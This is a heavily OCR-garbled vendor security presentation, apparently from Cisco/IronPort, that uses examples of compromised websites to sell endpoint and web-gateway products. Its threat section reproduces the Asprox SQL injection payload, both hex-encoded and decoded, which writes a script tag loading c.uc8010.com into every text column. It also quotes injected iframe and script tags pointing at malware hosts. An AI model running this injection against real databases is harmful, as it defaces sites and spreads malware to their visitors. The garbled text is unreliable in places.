Fegulatory Neﬁqﬂi Ewvent Correlation

Data Loss Frevention POS Protection

Compliance (FCI)

SINGLE INTEGRATED AGENT AND MANAGEMENT



Intrusion Prevention
“*Zero Update” Track Record

= CSA has a proven track record of stopping brand new
exploits, botnets, targeted attacks, worms, and viruses over
past 7 years:

2001 — Code Red, Nimda (all 5 exploits), Pentagone (Gonner)
2002 — Sircam, Debploit, SQL Snake, Bugbear,
2003 — SQL Slammer, So Big, Blaster/\WWelchia, Fizzer

2004 — MyDoom, Bagle, Sasser, JPEG browser exploit (MS04-028), RPC-

DCOM exploit (MS03-039), Buffer Overflow in Workstation service (MS03-
049)

2005 — Internet Explorer Command Execution Vulnerability, Zotob

2006 — USB Hacksaw, IE VML exploit, WMF, |IE Textrange, RDS Dataspace

2007 — Rinbot, Storm Trojan, Big Yellow, Word(MS07-014), MS ANI ODay,
MS DNS 0ODa

No signatures, or configuration updates required




/ N,
What do Cisco Customers sa
ANhnitit Aharavie \/inilant EndAnnaint Dratacrtinn®d _ll |
ADBOUT AIWaYS Vighant =napoint Frotectuion « \

— . &
SIEMENS ’m‘ CorLuMBUS STATE UNIVERSITY wjl Westinghouse

"Cisco Security Agent
allows us to not have to
rush to do testing of a new
patch and not to worry
about a new virus. We
don't expect to stop doing
patching and updating—it's
just the piece of mind of
knowing that we are
protected while we're doing
patching."

Kathy Taylor, Information Security
Officer, Siemens Energy &
Automation

"When our networks were brought

down, we spent a lot of hours

trying to get them back up. So far,

we've had zero problems

on servers that are protected by

Cisco Security Agents—no
penetrations or compromises.

Cisco Security Agent has provided

100 percent protection. | would
definitely recommend it to
anyone—and | do."

Mack Ragan Senior System Support
Specialist, Columbia State University

"In May, we saw a day-zero
virus that was morphing
twice a day. We were right on
the forefront of the attack.
We could see these things
hitting, but they weren't
bringing us down, because
Cisco Security Agent was
stopping them.”

“We can't shorten the
testing process for new
patches, but if | didn't have
Cisco Security Agent on all
our PCs, I'd be sweating
bullets during that
process."

Thomas Moser, Manager of
Information Technology Services,
Westinghouse Electric Company




5. Web Servers

Vulnerable




Attack Vector: Vulnerable Web Servers

SANS Top 20 2007 Security Risks
http://www.sans.org/top20/#c1

“Web application vulnerabilities in open-source as
well as custom-built applications account for
almost half the total number of vulnerabilities
being discovered in the past year. These
vulnerabilities are being exploited widely to
convert trusted web sites into malicious servers
serving client-side exploits and phishing scams.”




Real-World SQL Injection

HTTP Post made to thousands of web servers

2007-12-30 18:22:46 POST /crappyoutsourcedCMS.asp;DECLARE%20@S %20NVARCHAR(4000);SET%20@S=CAST

(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006
100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F004300750072007

3006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C00

62002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C00730079007300630
06F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E00640020
0061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F
007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F
007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F004300750072
0073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F00430075
00720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C0045002800400040004600450054004 30048
005F005300540041005400550053003D0030002900200042004500470049004E0020006500780065006300280027007500700064006100740065

0020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D002
80063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B002700
27003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F0063002E007500630038003000310030002E00
63006F006D002F0030002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E0
04500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400
054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F0072002000440
0450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR((4000));

EXEC(@S);—178|80040e14|Unclosed_quotation_mark_before_the character_string_'G;DECLARE_@S_NVARCHAR(4000);

SET_@S=CAST(0 x 4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C004000
43002000'. - 202.101.162.73 HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library) - 500 15248



SQL Injection Decoded
Decoding ‘CAST’ values

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name

from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u" and (b.xtype=99 or b.xtype=35 or b.xtype=231 or
b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0) BEGIN exec('update [+@T+] set

['+@C+"]=rtrim(convert(varchar,['+@C+"))+"<script src=http://c.uc8010.com/0.js></script>"")FETCH NEXT
FROM

Table_Cursor INTO @T,@C END CLOSE Table Cursor DEALLOCATE Table_Cursor DECLARE @T
varchar(255),@C

A successful attack inserts
<script src=http://?.uc8010.com/0.js></script>
into varchar and text fields in SQL database



Attack on BusinessWeek.com

Asprox Botnet in Action

= Asprox botnet is refined,
smart and sophisticated

m INVESTING ~ COMPANIES TECHNOLOGY INNOVATION MANAGING SMALL BIZ

B-SCHOOLS  ASIA

were affected

Top News AED

TOP STORY

On the Second
Day, the
Markets Shrug

Catehing thair breath, invesiors
took soma cash out from under
the matiress, says BW's Ben
Levisohn. Unfortunately, they
didn't invest it in the bond market

Plus: Stocks Finish Lower

BJIA 831088 7682 .

S&F 300 e
Nosdegq 177001 8538 “eyseaypm

SymixalLokup

Video Update: BusinessWWeok Market Regort

Credit markets see more gradual improvements
Japan's curment account surplus down 52.5 percant
Callaway Golf reports preliminary 30 loss
Johnson & Johneon 30 profit rises, 1OpE views

- o THE AF Ap

Paulson's $250 Billion Bank Buy
To prevent any stigma 10 taking bailout funds
the feds will invest in sewveral big banks
simullaneously rather than waitlor requests
Election 2008: Treasury's Terms of
Engagement

« Plug: Morgan, Goldman Shares Jump

Apple Laptops Get Price Cut and

New Features

Mvidia chips and glass trackpads are two of

the new high-end features Steve Jobs

announced Tussday for MacBook and

MacBook Pro

» Byt Ot th Apple: Notes on the New
Notabonks

Biloomberg Hires TV Vet Andy
Lack

Luak for the financial news outfit o go bigaer
online and on 1, says BWs Jon Fine

MeCain Pushes Tax Cuts for
Investors and the Jobless
Republican Presidental candidate says
invesinrs who 1St outin e market rout
should be able io deduct $15,000 of capital
losses from their income:

Why Health Savings Accounts
Haven't Caught On

S Excharige

Track and share business 1pics across the Web.

MOST ACTIVE TOPICS
1. Credit Crunch 733 new arf

2. 2008 Election 428 new aricles 41 users.

3. ANG 131 new anicies 31 users

4. 5ocial Networking 475 new arcles 83 users
5. Lehman Bros. 389 new arbcies 17 users

Get 4 Free
Trial Issues Now
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: : Recently Written
Housing Slump Hurts Freddie Mac Profit y
Agreement on Auto Deal - Sighs of Relief
Freddie Mac, the second-largest LS. home-mortgade financier, posted a 45% drop in alround
second-guartar netincome as it set aside §320 million for los=es, and said it expects N Times ta Drop Fees far Online
credit losses to continue to rise as the housing slump persists. Version
he McLean, Va., company predicted that credit-market turmoil would force it to mark
oo pany p 401 Plans Retirerment plans not guite
dowen this quarer the value [ ] what they were thought
3 Core Principals far the maintenance of
mature and successful growth
. Housing, CreditWorries Hurt Stocks
Stocks Rise on Techs, Fed Letter Nasdag Soars on Rate-Cut Hopes .
Loading < >
aarm rgder.Com % Scripts Partially allowed, 1/3 {googlesyndication.com) | <3CRIPT>: 5| <0OBJECT=: 1 opkions. .. Q
httpsffaarmrgdsxey  comfdlfadv44s. php | % Scripks Partially &llowed | <SCRIPT=: 5 | <CBIECT=:1 | @




= Minnesotahomefinance.com registered at Godaddy june, 2005
= 209.51.132.218, Global Net Access in NY, with 312 domains

File Wiew Help
Inspect  Edit | a < div.headerleft < div#header = body < html

Console | HTML | CS5  Script DOM  Met
CEOLY LU=TIAVDALD T

f<iframe width="1" height="1" src="http://aarmrodxrv.com/dl/adv44s8.php">
E‘ el e oMt e S S R A e T TN IEY O e B

Browser fetches IFRAME & loads PHP from aarmrgdxrv.com

«85.255.121.195, Ukrtelegroup Ltd in Ukraine, with 15 domains

*Ukrtelegroup is part of RBN (Russian Business Network)
Other domains match the pattern; e.g. adtctqypoa.com...

«aarmrgdxrv.com registered at BIZCN.COM, INC.
Spamvertized domain ranking: #18 by volume, #11 by % bad
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<iframe width="1" height="1" style="wvisikility: hidden;" sreoc="http:/  arl"=>
<soriphts
=] <script=
1l window.status='Done' ;document write|'<iframe nawe=b8735azd74 src=" 'http: /77 2E1.1332. 188/
< fEoript*

<iframe width="Z34" height="471" style="display: none;" srec="http:/ /77 2E1.133.188/ if/go. htwl?l
<html>

</ frame=
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Forum Inde:x"
vopace=""1" /=

(2 Faid @ search [ElMemberist [= sergroups E'Register
Elprofile @ Login to check your private messages @ Log in

The tirme now iz Fri Jun 13, 2008 2:55 am
Forum Index

View unanswered posts

Brustkrebs

General Topics
@ General Topics

19223
Moderator Moderators

Sun May 11, 2008 &6:25 pm
S supervideogirl *0

Endometriose
General Topics
@ 1093 Lggy  Sunmlun 08, 2008 12:10 am
Moderator Moderators

intalowalkin =0

= Site invokes xprmn4u.info javascript

= Xprmn4u.info invokes vipasotka.com which invokes
golnanosat.com



Program Mame PID Window Title

= €€ sandbos DefaulBox Active

6 Firefox, exe 1404 [#] Mozilla Firefox [#]

\

D
Q.

I
Q
O

P} VirusScan On-Access Scan Messages

File Migw Options Help

Virusscan Message

lean File
Message . ¥irusScan Alert!
E Delete File
Dake and Time : 6122005 7:43:31 PM
Pathname : i\ 3andbox! ppetersontDefaultBoxusericurrent Application DatalSunt Javall Mave File
Detecked As: Explait-Bykeberify [ Remove Message ]
Skate : Deleted
[ Close Window ]
flame I In Falder I Source I Detected A= I Detection Type I Status I L
& 47330681519,  ChASandboxtppetersonsDefaultBox... Exploit-Butetde...  Trojan Deleted £
£ | *>

Wanning - Security

The application's digital signature has been verified.
Do you want to run the application?

Mame: OF
Publisher: HIPOIMT Ltd., 5.4,

From: http:/fqolnanosat. com

Always krusk conkent From this publisher ;

[ Fun J[ Cancel

6 The digital signature has been validated by a tructed source, Mare Infarmation...
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qiqi111.cn |

23 Stromversorgung EnBW Stirungsd=script src=http:/Awww. qigi111.cn/m. js >=fscript> - Mozilla Firefc
File Edit “jew History Bookmarks ScrapBook  Tools  Help

* @ b @ ﬂj‘ IJ hkkp: ) fuee, bad-waldsee,def1 _modulefnot)place_detail, asprid=4

:
&

BAD WALDSEE

SUChen
Erweiterte Suche | STADTSEE AKTIV-WEG |

Blirger Tourismus Wirtschaft
zZuriick

stromvyersorgung EnBW

N s
o Storungsd

Anschrift
Kontakt Telefon : 0180-2234123

@ Scripts Partially Allowed, 1)2 (bad-waldsee.de) | <SCRIPT=: 9 | <0BJECT>: O

\"Mm "'wr“ﬁﬁ‘“wlm**n“_ \me.ﬁ:w-rnﬂm* ¥




= bad-waldsee.de registered at DENIC before 2003
= Hosted at 80.237.213.92 on Hosteurope in Cologne

* Firebug - Stromversorgung EnBY Stisrungsd=script sre=http: /i, gigi111.en/m. js>=fscript=

File  wiew  Help
Inspect  Edit | body < html
Console | HTML | £55 Script DOM  Met opth

“<head>
<Lit lexstromversorgung EnEW Storungsd<saript |
sro=http: /v alaglll]l . en/m. ] gp</soript>artit ey
et i LD K plasne Sl gogh esa D Lo SRl lalsflespegia (0] pacu

* Browser gets IFRAME, runs m.js javascript at qigi111.cn

* gigi111.cn is Chinese website hosted in China
* Registered at JEZRADMEAREHRBRZYE] in 2008
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SPORTS .NO
- ta det 9 oponit ;. d handle el

fﬁ‘.\ Hjem Kjgpsbetingelser Om SportsKupp.no Kundeservice _a Kontakt oss j“‘ Registrer

» kL Columbia Bag Modell Deluxe 34 RGB "'a"""'_;

e

Fleece kjempestor Sportsbag
2 NA 999,-  Handieh
b N Jakker
anh. butikkpris kr 1999,-
» N Bukser/Skibukser
>> SOﬂ:ShE" uelg; !S-tk j_. ﬂ her info ﬂ'—Legg i handlekury VISA
Sekker/Bagger )

Loadin
g S5 Scripts Partially Allowed, 1)3 (sportskupp.no) | <SCRIPT>: 57 | <OBJECT=: 0

sslwer.ru R B A e s ol
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= SportsKupp.no registered 2007, hosted in Oslo on
81.175.28.22, Hafslund Telecom

* Firebug - Sekker/Bagger=script src=http:fiwww. sstwer. tufngg. js==fscript==script src=http:fAiwww. sshwer.rufngg. js > =/script> - SportsKup:
Console | HTML | £55 Script DOM  Met 3

“{head}

T S S e ann nﬂ*"““ ﬁﬁﬁﬁﬁﬁ r«aﬂ".m’#‘\ \“W-Mm#:ﬁiq "“W"‘ R

= Browser runs IFRAME object ngg.js from sslwer.ru

= sslwer.ru DNS Name Servers hosted more malware on
dynamic IPs at Cablevision, Time Warner, Rogers

E.g. 191-15.127-70.tampabay.res.rr.com

= Registered at NAUNET-REG-RIPN by “Private Person”.
80% of registrars fresh domains listed in URIBL spam list.



nttp://iwww.stavange

File Edit Wiew Hiskory Bookmarks ScrapBook  Tools  Help

@l ~ - @] _ ﬁ |@ htkp: /s skavangersk.nof |'| P‘] i'

Hjem SSK | Ritt | Trening | Invitasjoner Bilder Aktiviteter | Bli medlem | Kjop & Salg

= egitimate site
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'H‘ tmn-‘n'rm-._-n-- Pain Relief Muscle Tension Sleep Aids
Weight Loss Sexual Health Antibiotics

i } - —

5 ; ; ONLINE BUY GENERIC VIAGRA, CIALIS, LEVITRA, KAMAGRA

A {; " PHARMACY Viagra 10 pils x 100mg 35.95%, Viagra 30 pils x 100mg 79,954, Cialis 60 pils x 20mg
GUIDE: 139,954, Levitra 10 pils » 100mg 32.95% We accept Visa, Mastercard, Amex, ACH...

Cielivery: Armal 103,

”y Viagm hip: /fbluepilleshop.com
- '&““M"Mk#‘*"ﬂ"‘w-f‘W“ﬁﬂ‘*1-r b o i b gy

= The page is an [Frame cgi on 213.155.5.72 in Ukraine
which loads php from tablets-city.com
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ACE Web Application Firewall (WAF)

The WAF is a drop-in solution that protects
web-enabled applications from attacks

PCI Compliance, Virtual App Patching, Data Loss Prevention

Secure — Deep packet protection of the most common vulnerabilities

Fast — Processes 3,000+ TPS and 10,000+ concurrent connections

Drop-in - Does not require recoding applications, deployable in under an hour

PCI 6.5/6.6 compliance is just a few clicks away
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But I've Got Firewa IIs, IPS, Anti-Virus
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Firewalls don’t stop port 25 or user requests for protocol-
compliant HTTP(S)

= |PS does not stop social engineering
= New vulnerabilities continually

= Anti-virus is shockingly ineffective due to mutating viruses
390 LdPinch security signatures since original in 2003
More than 30,000 Bagel variants
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a
= URL filtering can’t protect from legitimate sites being hacked
= End-users roam
= End-users choose to install, override security
= Once infected, malware hides



Network Is “Locked” —
illall allu vvElJ AICT UpPCll
Port 80
Port 25 Port 443
Content Security

Netwdrk Seculrity



The IronPort Story

Application-Specific Security Gateways

BLOCK Incoming Threats:
= Spam, Phishing/Fraud

= Viruses, Trojans, Worms
= Spyware, Adware

= Unauthorized Access

Internet

\ )

s .

]
£
- * [

+F
- & ']
P 3
»

. ! Security Database)

APPLICATION-SPECIFIC
SECURITY GATEWAYS

EMAIL
Security Gateway

WEB
Security Gateway

MANAGEMENT
Controller

S

CENTRALIZE Admin:
= Per-user policy

= Per-user reporting

= Quarantine

= Archiving

~N

ENFORCE Policy:

= Acceptable Use

= Regulatory Compliance
= Intellectual Property

= Encryption

SenderBase
’ (The Common



Next Generation Secure Web Gateway

Before IronPort After IronPort

@ @

v
Firewall % Firewall %
4
Web Proxy & Caching 9 l
+
Anti-Spyware 9
+
Anti-Virus 9
v IronPort S-Series
Anti-Phishing @
¥
URL Filtering 9
v
Policy Management 9
. v
999 9 v 99
Users @ @ @ Users @ @ @

All web security components in a single integrated platform
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= |4 traffic monitor to

detect infected PCs

= URL filtering to block
known bad sites

= WWeb reputation for the IronPort Web Security Appliance
“long tail”

MANAGEMENT TOOLS

= Anti-malware system to
d ete Ct Conte nt L4 Traffic URL Web Reputation | Anti-Malware

Monitor Filters Filters System

IronPort AsyncOS Web Security Platform

Next Generation Web Security Platform




Layer 4 (L4) Traffic Monitor

Integrated Network Monitoring

MANAGEMENT TOOLS

L4 Traffic URL Web Reputation Anti-Malware

Monitor Filters Filters System

IronPort AsyncOS™ Web Security Platform




Detecting Existing Client Infections
Monitoring “Phone Home” Traffic

= Layer 4 Traffic Monitor

ad yieldmanager.com

Scans all traffic, all ports, —

all protocols o

Detects malware bypassing s con

clk.atedme.com

Port 80 -

tems dis played: 10

= Powerful anti-malware data camicion | comecls | et "
Automatically updated v o
anti-malware rules - - : o
Real-time rule generation = E -
using “Dynamic Discovery” s0e0 0




lronPort Web Reputation Filters™
The Outer Layer of Defense

MANAGEMENT TOOLS

L4 Traffic URL Web Reputation Anti-Malware

Monitor Filters Filters System

IronPort AsyncOS Web Security Platform




IronPort’s SenderBase
Faster, More Accurate Detection and Protection

Combines Email and Web Traffic Analysis

— &)

" IronPort’s. ..
.~ senderBase. .
IronPort EMAIL IronPort WEB
Security Appliances Security Appliances

= View into both email and web traffic dramatically
improves detection

83% of spam and 80% of overall email contains URLs

Email is a key distribution vector for web-based malware



lIronPort Web Reputation Filters
Data Makes the Difference

Parameters

* URL Blacklists
* URL Whitelists

* URL Categorization Data
« HTML Content Data THREAT PREVENTION IN REAL-TIME

* URL Behavior

* Global Volume Data

* Domain Registrar Information
* Dynamic IP Addresses
» Compromised Host Lists :
« Web Crawler Data SenderBase Data Analysis/ Web Reputation
Data Security Modeling Scores (WBRS)
* Network Owners 10 to +10

* Known Threats URLs

* Offline data (F500, G2000...)
« Website History Addresses Known and Unknown Sites

_/




Proxy Anonymizers
Masking Browsing Patterns

Web
Gateway

2 &
S
C———
o &
5 9
Users No AV Scanning

No Spyware Scanning
No Policy Enforcement
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SSL Trojans
and Malware

Secure
Anonymizing
Proxies

Secure
Webmaill
Attachments

nc‘ o £\
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Infoworld Log-in | Register

SECURITY ADVISER 1

[rowe | wews | reomoL0GTES | 5L0GSCOLUNS | TEBT CONTER | AUDIONDSO | caREERS | EX0-coNEGT | EveNTs

—

An SSL trojan unmasked

Analyzing an especially dastardly trojan's inner workings pfoduces startling — but useful — results

Rv Rnner A Grimes
, 2006

LTI AT e L] -

, Anonymous Web Surfing through ProxyWeb.net - Mozilla Firefox

E-mail Printer Friendly Reprints  f, Slashdot It!

dnane

File Edit View History Bookmarks Tools Help

> &

Getting Started Latest Headlines 5

Q 6 https:/jwww. proxyweb.net/antilog.php = 4 f;-\
: IronPort C60 (elroy....  this old article
= web proxy, 4 MINTS - Interne fic 5. | 6 An

prﬂxyweb.net:Http:ﬁwww.ieplugin.com

|[(sur ] @n@ssL s Oos Oe[Jax[Jua

@
GINTELLIGENT
o, EXPLORER

& 866 Gmail - Inbox —
T <a- & [ hieps: / /mail.google.com/mail/ B v B Q
Ironport™ Technical ¥ News¥ Wikipedia Gmail - Inbox
Proxy: | None B8 + apply & Edic (3 Remove [Y add wces
=1 Gmail - Inbox =
Mail Calendar Deocuments Photos Groups Web more w Jjedlau@gmail.com | Settings | Help | Sign out
Search Mail | Search the Web | Show search options

Gm=ail !

L)
Compose Mail

Are You a Slacker Mom? -

Create a filter

www AreYouASlackerMom.com - 15 fi I d Link

~| Refresh 1-7of 7

Do you have Ildeas of companies Sep 11
One of my weddings selected as Sep 8
Fw: [COMFOOD:] NYTimes.comr Aug 20
Today's Research Materials - Bc  Jul 26
Among All The Rage ... - We proJul 2
Random Stuff - Mot intent to swir May 10
"lazy portfolio” - http:/fAwvww.mark  Apr 30

-

Ll Archive | ReportSpam | Delete | [More actions...
Starred Select: All, None, Read, Unread, Starred, Unstarred
Chats <> 2

Sent Mail > Justine, me (2)

Drafis | SI'_|quon, me (4)

All Mail I Elisa.Wong

Spam (1489) sz dake Lan

Trash L We! Lrs

— Wei Luo
Contacts [~  RobertTsai
 Quick Contacts
Wa’\[ing for www.google.com...

mail.google.com @& Proxy:None [/




HTTPS

A Blind Spot for Enterprises

HTTP Traffic

Scanned for Security,
Policy and Data

Breaches
——-- )
Ny

)
b
>, P
e

Users CANNOT be Scanned
for Security, Policy and
Data Breaches

Web
Server

HTTPS (Encrypted) Traffic



HTTPS Scanning

Selective, Based on Trust

Decrypted ¢ Inspected * Re-encrypted
Selectively on TRUST, Category, Source

Web
Server

@ aq_y IronPort

S-Series

Decrypted ¢ Inspected « Re-encrypted
Selectively on Category, Source



lIronPort Anti-Malware System
IronPort Dynamic Vectoring and Streaming (DVS) Engine™

MANAGEMENT TOOLS

L4 Traffic URL Web Reputation Anti-Malware

Monitor Filters Filters System

IronPort AsyncOS Web Security Platform



lIronPort DVS Engine

Multi-Layered Malware Defense

= Deep content
Inspection

Webroot

= High-performance

scanning McAfee
IRONPORT
Parallel scans DVS ENGINE

Stream scanning
VERDICT

ENGINE
IN\TII N

= Multiple verdict engines e

Integrated, on-box

. Policy Management
Supported engines: el =

Webroot, McAfee
= Automated Updates



Industry-Leading Performance

Stream Scanning

Scan
Progress

A

Latency

WRITE OBJECT
TO DISK

RECEIVE
ENTIRE
OBJECT

DETERMINE 5

VERDICT

INSPECT
OBJECT

Time

Scan
Progress

A

Latency

DETERMINE <
VERDICT -

BUFFER
OBJECT
TO END USER

START
INSPECTING
OBJECT

START
RECEIVING
OBJECT

Time

= Accurately identifies “safe” objects for stream scanning

= Processes objects in parallel to minimize latency



High-performance Web Proxy

Connection Management and Optimized Storage

lronPort Server-Side
S-Series Connections

Client-Side
Connections

Maintain pool of persistent
TCP connections (client and
server side)

Save CPU and memory
cycles by leveraging system
event notifications

Co-related object storage and
high-performance caching

Handle extremely high traffic
volumes

Significantly improved
resource utilization

Significantly improved
response times



Industry-Leading Technology

Optimized for Throughput and Performance

Simultaneous

lIronPort Web Security Appliance

Easily handles significant
100,000 duplex Wy e it
TCP Connections traffic spikes

HTTP Transactions 10M unburdened, Serves up to 10-25K users
Per Hour 5-7M burdened (traffic profile dependent)

Preserves end-user
browsing experience

Average
Latency

5-15 milliseconds




IronPort S-Series
Fortune 500 insurance Company Case Study

= F500 insurance company’s challenge:

$11 billion auto insurance provider, with “Deploying IronPort

over 25,000 users S-Series appliances

IS one of the best
things we’ve ever
done here. Stopping
malware at the edge

~8 servers for Microsoft ISA and Secure
Computing

Malware infections causing desktop
re-imaging

Inability to create corporate-specific policies L ,
has significantly
= [ronPort’s solution: reduced compliance

Spyware and Malware filtering at the and security

gateway with multi-scanning exposure for us.”

Integrated URL Filtering and Web Proxy

— James Owens
Security Engineer

USERS
PROTECTED 25,000+

Servers consolidated by 75%




Conclusion
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Sion

= The web vector has become the #1 weakness targeted
by criminals for profit

= The web browser ecosystem is vulnerable

= Web 2.0 exacerbates these problems
More active content from disparate, uncontrolled sources

= Anti-virus is not an adequate solution

= Web servers are attacked and use to spread malware
via legitimate sites

= A different approach is required
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vwnat to Do’/

= Accept firewall, IPS, anti-virus, URL filtering alone are
Inadequate

= Measure infection level (network layer)
Initial infection level and ongoing as security improved
|dentify root causes

= Accept we are at the beginning of the web security war
Technologies are rapidly adapting
Need a platform solution that can adapt to criminal behavior

= Deploy integrated network and application layer solution
Web reputation, URL filtering, anti-malware signatures
= Assess client solution
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= There are currently no Cisco Press Books
recommended for this Presentation - please browse the
Cisco Company Store for suitable titles
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